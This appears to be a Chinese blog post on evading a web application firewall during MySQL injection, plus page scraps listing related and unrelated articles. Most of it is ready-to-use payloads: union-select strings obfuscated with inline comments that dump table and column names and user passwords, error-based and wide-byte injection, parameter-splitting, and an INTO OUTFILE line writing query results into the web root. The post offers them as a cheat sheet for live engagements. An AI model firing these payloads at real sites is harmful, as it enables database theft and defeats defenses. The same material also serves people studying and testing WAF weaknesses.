BurpSuite Fuzz测试

在绕过之前需要搞清楚哪些东西被过滤了,哪些没有,主要思路就是通过fuzz来辅助判断。

WAF的规则过滤时可能重点关注的5个位置:id=1[1]union[2]select[3]1,username,3[4]from[5]users

安全狗试一下-1' union select 1,2,3 --+不出所料被拦截了。

测试单独的一个union和单独的select都是可以的过的,但是组合在一起联合查询就会被过滤,最基本的绕过思路是使用内联注释/**//*!*/来替换空格绕过。

内联注释

注释/*!*/可以来替换空格绕过,它是一种特殊的注释,被称为条件编译注释。当!后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。

比如:/*!000001*/,MySQL的版本为5.7,注释中的内容被当作SQL语句执行了,下面的例子相当于1=1,成功绕过了and 1=1的限制。

注释/**//*!*/的区别就是它包含的内容MySQL不会执行。

关于内联注释/*!50100*/特别注意50100表示MySQL的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*//*!50100*/都可以作为payload。

绕过union[]select联合查询

观察以往多种bypass的payload,union和select之间的位置/**/中间加东西可以绕过。

不妨用Burp Fuzz试一试:

对union和select之间的字符进行爆破:

当字符的长度来到5的时候,发现有很多就可以绕过了:

随便选一个来进行测试,构造payload如下:

-1'union/*/!*!/*/select%201,2,3--+

成功绕过了联合查询的空格过滤。

绕过敏感函数

当联合查询被绕过以后需要借助一些函数来了解数据库。但是直接执行函数毫无疑问会被过滤。

是将函数名+括号一同过滤,单独的函数名没有过滤,括号也没有被过滤。使用等价函数绕过显然不现实,函数名大小写,双写这些常规套路也都没用。

尝试16进制编码绕过:

绕过了但又没完全绕过,被编码的函数名被当作一个普通的字符,不会被当作一个函数执行。

所以思路是将函数名和括号分开,在函数名上做文章,尝试用注释/*!xxx*//**/()这种方式来进行绕过:

单纯的注释肯定不可以,用Burp Fuzz试一试:

利用绕过空格的思路,发现有很多都可以绕过的:

随便选一个

-1'union/*/!*!/*/select%201,/*!user*//*/-//*/(),3--+
-1'union/*/!*!/*/select%201,database/*///-*/(),3--+

成功绕过了敏感函数过滤。

绕过from[]information_schema查表

当绕过敏感函数database()后就可以查看数据库有哪些表,正常的SQL语句:

group_concat(table_name) from information_schema.tables where table_schema=database()

经过测试发现from table_nameinformation_schema.tables均被过滤。

同样采用上面内联注释的方法试一试:

尝试使用注释绕过from后的空格,并且使用其他的表代替information_schema.tables(参考 MYSQL注入中information_schema的替代 )但是也没能成功。

看看其他师傅是如何绕过的:

还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式:

%23换成--+再构造试一试:

-1'union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/%20where%20table_schema='security'--+

成功爆出了表名。

有了表名的绕过,那么爆列名也不是件太难的事情,修改一下Payload即可:

-1'union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/%0awhere%0atable_name='users'--+

同理,修改语句即可爆字段信息:

-1'union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

报错注入示例

当union联合查询不可使用时,并且在有报错的情况下可以考虑使用报错注入:

and ST_LatFromGeoHash(concat(0x7e,(select/*/!*!**/username/*/!*!**/from/*/!*!**/users/*/!*!**/limit 0,1),0x7e))

在报错函数中利用内联注释绕过空格的方式同样可用。

常规绕过思路总结

搜集了一些常规的绕过思路和方法,随着WAF越来越强,有些方法已经失效了。但在实战的时候多一种思路也不是什么坏事。

空格绕过

最基本的绕过方法是使用注释/**//*!*/来替换空格:

select/**/schema_name/**/from/**/information_schema.schemata;
select/*!*/schema_name/*!*/from/*!*/information_schema.schemata;

使用/*!...*/条件编译注释绕过空格:

/*!select*//*!schema_name*//*!from*//*!information_schema.schemata*/;

在SQL中,括号()用来重新组织语句结构,并且而括号的两端可以没有多余的空格(最好用):

select(schema_name)from(information_schema.schemata);

在SQL中,反引号(``)用于标识数据库、表或列的名称。在反引号的两端可以没有多余的空格:

select`username`from`user`;

使用浮点数:

select * from user where id=1 union select 1,2,3;
select * from user where id=1.0 union select 1,2,3;
select * from user where id=1e0union select 1,2,3;

使用%20 %09 %0a %0b %0c %0d %a0 %00等URL编码代替空格。

引号绕过

使用十六进制编码绕过:

selec * from user where username="admin";
select * from user where username=0x61646D696E;

逗号绕过

使用join连接操作绕过逗号:

select * from user union select 1,2,3;
select * from user union select * from (select 1)a join (select 2)b join (select 3) as alias;

在盲注时,用到的字符串截取函数substr(),substring(),mid()中也会用到逗号:

substr(string, position, length)

可以使用from position for length的方式绕过逗号:

select substr(database(),1,1);
select substr(database() from 1 for 1); select substring(database(),1,1);
select substring(database() from 1 for 1); select mid(database(),1,1);
select mid(database() from 1 for 1);

盲注时逐个判断查到字符ascii码时,可以直接使用模糊查询来绕过字符串截取函数的逗号:

select ascii(substr(database(),1,1))=117;
select database() like 'u%';

对于limit可以使用offset来绕过逗号:

select * from news limit 0,1
select * from news limit 1 offset 0

比较符号绕过

大于号>和小于号<在盲注中也经常使用。

greatest()函数可接受多个数值参数,返回最大值。least()用法相同,返回最小值。

select greatest(1,2,3);
select least(1,2,3);

字符串的比较MySQL支持C语言中的字符串比较函数strcmp(str1,str2)。当str1=str2,返回0;当str1>str2,返回1;当str1<str2,返回-1。

操作符in可用于在where子句中进行多项比较:

select * from user where id in (1, 3, 5);

between and 选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

between 1 and 1;  #等价于=1

盲注使用二分查找的时候,需要使用到比较操作符来进行查找:

select * from user where ascii(substr(database(),1,1))>64;

使用greatest()函数绕过比较符号:

select * from user where greatest(ascii(substr(database(),0,1)),64)=64

如果等号=被过滤,可以考虑使用like | regexp或者<>绕过:

select * from user where username like 'admin';  #模糊匹配字符串
select * from user where username regexp '^[a]' #正则表达式匹配

<>操作符在MySQL中表示不等于:

select * from users where username <> 'guest';

逻辑符号绕过

or,and,xor,not布尔逻辑操作符被过滤:

and 等价 &&   or 等价 ||   xor 等价 |   not 等价 !

在或者可用与运算符^来绕过:

真^真^真=真

真^假^真=假

真^(!(真^假))=假

关键字绕过

union,select,where等关键字被过滤:

使用大小写绕过:

sELeCt * fRoM user UnIoN/**/SeLeCT 1,2,3;

使用注释符绕过:

/**/, #, --+, -- -, //, -- , ;, %00, --a

内联注释绕过:

/*!UnIoN*/ SeLeCT 1,2,3;

双写绕过(只将匹配的第一个关键字删除):

UNIunionONSeLselectECT1,2,3;

能使用注释绕过的很大一部分原因是服务器端未检测或检测不严注释内的字符串。

编码绕过

URL编码,ASCII,HEX,Unicode编码绕过:

select * from user where username='admin' and password='%20OR%201=1';
select * from user where username='admin' and password=char(39,111,114,48,49,48,49,48,49)';
select * from users where username='admin' and password=0x2726;
select * from users where username='admin' and password=unicode('%u0027');

等价函数绕过

hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> group_concat(),concat_ws()
substr() ==> substring(),mid(),left(),right(),elt()
length() ==> char_length()
@@user ==> user()
@@datadir ==> datadir()
......

宽字节注入

在MySQL使用GBK编码(宽字符集)的时候,会认为两个字符为一个汉字。

当PHP开启GPC后,会对特殊字符进行转义,比如将'转义为\',转义后字符对应的URL编码为%5c%27

如果现在在%5c%27的前面加上%df,则就变为了%df%5c%27。此时使用GBK编码的MySQL就会认为%df%5c是一个宽字符,也就是一个汉字。这样就会导致%27作为一个单独的'符号留在外面,有了单引号就可以注入。

简单说就是,利用宽字符集占用两个字节的性质,利用%df吃掉用来转义的\字符,造成单引号逃逸,产生注入。

id=1' =转义处理=> id=%31%5c%27 =sql语句=> id=1\' ==> 无法注入

id=1%df' =转义处理=> id=%31%df%5c%27 =sql语句=> id=1運' ==> 宽字节注入

防御:

设置MySQL的连接参数,使用二进制模式 charcater_set_client=binary

多参数请求拆分

对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。

例如请求URL时,GET参数格式如下:

?a=[input1]&b=[input2]

将GET的参数a和参数b拼接到SQL语句中:

and a=[input1] and b=[input2]

这时就可以将注入语句进行拆分,如下所示:

a=union/*&b=*/select 1,2,3,4

最终将参数a和参数b拼接,得到的SQL语句如下所示:

and a=union /*and b=*/select 1,2,3,4

生僻函数

使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数替换常用的updatexml()函数绕过函数过滤:

select polygon((select * from (select * from (select @@version) f) x));

输出内容过滤

编码

hex() to_base64()

字符替换

replace(str,from_str,to_str)

编码+字符替换

replace(to_base64(xxx),from_str,to_str)  #replace多次套用

将查询结果写入文件再读取

0' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'#

参考文章:

https://www.cnblogs.com/Vinson404/p/7253255.html

https://cloud.tencent.com/developer/article/2050038

https://www.freebuf.com/articles/web/321240.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

MySQL注入之Fuzz测试&Bypass WAF小结的更多相关文章

  1. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  2. 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)

    原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...

  3. SQL注入之DVWA平台测试mysql注入

    今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...

  4. WAF攻防研究之四个层次Bypass WAF

    从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...

  5. Bypass WAF Cookbook

    PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...

  6. 十八:SQL注入之堆叠及绕WAF

    堆叠查询注入 (双查询注入) stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一 ...

  7. Mysql注入汇总!!!!!!!!!

    师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...

  8. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  9. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  10. 使用sqlmap对进行php+mysql注入实战

    作者:陈小兵一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限 ...

随机推荐

  1. .NET 网络唤醒

    本文介绍下电脑设备关机的情况下如何通过网络唤醒设备,之前电源S状态 计算机Power电源状态- 唐宋元明清2188 - 博客园 (cnblogs.com) 有介绍过远程唤醒设备,后面这俩天了解多了点所 ...

  2. c++学习笔记(三):函数++

    函数PLUS 函数默认参数 在c++中,函数的形参列表中的形参是可以有默认值的.调用函数时,如果未传递参数的值(传入参数为空),则会使用默认值,如果指定了值,则会忽略默认值,使用传递的值. 语法:返回 ...

  3. 游戏AI LOD交易员(附项目)

    游戏AI的LOD控制 这次我们来一同看看AI LOD的一个另类控制技术,如果你对AI LOD一无所知也没关系,本文会为你们做个科普.但请注意,本文着重讨论其思想, 没有讲代码细节(因为很多涉及数学,有 ...

  4. 【QT界面美化】QT界面美化效果截图QSS+QML

    贴几个QT做的界面美化效果截图. 先来一张动图,有一些画面是QT Widgets + QSS实现的:另外一些画面是QT QML实现的. QT界面美化效果图QT QSS QML 补天云QT技术培训专家 ...

  5. softirq和hardirq中断亲和度

    /proc/interrupts 和 /proc/softirqs 两者是相互关联的,但它们各自记录的信息和作用有所不同,反映了硬中断和软中断的两个处理阶段. 两者的关系: 硬中断引发软中断: 硬中断 ...

  6. 排查sshfs挂载失败的问题

    排查sshfs挂载失败的问题 写代码在Linux上运行,但是熟悉的IDE(比如VS code)在自己的电脑上,可以使用sshfs把linux上的目录挂载到本地,再用VScode打开即可,可以使用下面的 ...

  7. 012 Python约定俗称的常量

    #!/usr/bin/env python # -*- coding:utf-8 -*- # Datatime:2022/7/18 21:13 # Filename:011 Python约定俗称的常量 ...

  8. Docker升阶

    一.Docker镜像 镜像的定义:镜像是一种轻量级.可执行的独立软件包,它包含运行某个软件所需的所有内容,我们把应用程序和配置依赖打包好形成一个可交付的运行环境(包括代码.运行时需要的库以及环境变量和 ...

  9. thinkphp5 模型批量增加数据小记

    楼主最近在学习thinkphp5,真的没应广大使用教程所说:你最好就是没学过thinkphp3.2.要不然苦恼重重. 因为想将一些功能实现一次,故自己写了一个文件上传类. 可以实现单文件,多文件上传( ...

  10. es之增删改查

    查询 index: GET task_results/_search/ 普通查询: {"query":{"bool":{"must":[{& ...